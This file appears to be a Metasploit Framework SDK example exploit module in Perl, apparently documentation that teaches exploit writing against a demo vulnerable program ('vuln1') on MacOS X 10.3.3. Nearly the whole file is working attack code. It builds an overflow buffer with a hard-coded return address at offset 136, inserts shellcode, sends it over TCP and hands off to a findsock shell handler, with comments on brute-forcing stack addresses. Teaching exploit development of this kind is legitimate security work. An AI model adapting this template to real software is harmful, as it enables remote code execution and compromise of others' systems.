home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / sdk / docs / vuln1_osx.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  106 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::vuln1_osx;
  11. use strict;
  12. use base 'Msf::Exploit';
  13. use Msf::Socket::Tcp;
  14. use Pex::Text;
  15.  
  16. my $advanced = { };
  17.  
  18. my $info = {
  19.   'Name'    => 'Vuln1 MacOS X Exploit',
  20.   'Version'  => '$Revision: 1.1 $',
  21.   'Authors' => [ 'spoonm', 'hdm' ],
  22.   'Arch'    => [ 'ppc' ],
  23.   'OS'      => [ 'osx'],
  24.   'Priv'    => 1,
  25.   'UserOpts'  =>
  26.     {
  27.       'RHOST' => [1, 'ADDR', 'The target address'],
  28. # Default to port to 11221, the port vuln1.c listens on
  29.       'RPORT' => [1, 'PORT', 'The target port', 11221],
  30.     },
  31.   'Payload' =>
  32.     {
  33. # We have a space limit because of the recv 4096, but its a big one
  34. # A bigger value would mean faster brute forcing (larger steps) but
  35. # also run the risk of running off the end of the stack
  36.       'Space'     => 500,
  37. # No badchars needed, but its a nice test of the QuackQuack encoder
  38.       'BadChars'  => "\x00",
  39. # This means if we had a payload of 490 bytes in length it would
  40. # fail since there isn't room for 16 bytes of nop.
  41.       'MinNops'   => 16, # This keeps brute forcing sane
  42.     },
  43.   'Description'  => Pex::Text::Freeform(qq{
  44.       With new Findsock Action
  45.     }),
  46.   'Refs'  =>
  47.     [
  48.       'http://www.metasploit.com',
  49.     ],
  50. # Setting this to -1 means that we won't pick a default target.
  51. # This is good if it is a 1 hit exploit, or if the target isn't
  52. # brute force, etc.
  53.   'DefaultTarget' => -1,
  54.   'Targets' =>
  55.     [
  56. # Fudge the number gotten from gdb a bit to hit some nops and fall in
  57.       ['MacOS X 10.3.3', 0xbffffcd0],
  58.     ],
  59. };
  60.  
  61. sub new {
  62.   my $class = shift;
  63.   my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  64.  
  65.   return($self);
  66. }
  67.  
  68. sub Exploit {
  69.   my $self = shift;
  70.  
  71.   my $targetHost  = $self->GetVar('RHOST');
  72.   my $targetPort  = $self->GetVar('RPORT');
  73.   my $targetIndex = $self->GetVar('TARGET');
  74.   my $srcPort     = $self->GetVar('CPORT'); # Get src port from env
  75.   my $encodedPayload = $self->GetVar('EncodedPayload');
  76.   my $shellcode   = $encodedPayload->Payload;
  77.   my $target = $self->Targets->[$targetIndex];
  78.   my $ret = $target->[1];
  79.  
  80.   my $sock = Msf::Socket::Tcp->new(
  81.     'PeerAddr'  => $targetHost,
  82.     'PeerPort'  => $targetPort,
  83.     'LocalPort' => $srcPort, # again, src port
  84.   );
  85.   if($sock->IsError) {
  86.     $self->PrintLine('Error creating socket: ' . $sock->GetError);
  87.     return;
  88.   }
  89.  
  90.   $self->PrintLine('Trying ' . $target->[0] . ' - ' . sprintf('0x%08x', $ret));
  91.  
  92.   my $evil = "\x60" x 1024;
  93.   substr($evil, 136, 4, pack('N', $ret));
  94.   substr($evil, 140, length($shellcode), $shellcode); 
  95.   $sock->Send($evil);
  96.  
  97. # The Handler routine has to be called for findsock supporting exploits.
  98. # It will check the socket passed it, and see if there is a findsock
  99. # shell on the line.
  100.   $self->Handler($sock);
  101.  
  102.   return;
  103. }
  104.  
  105. 1;
  106.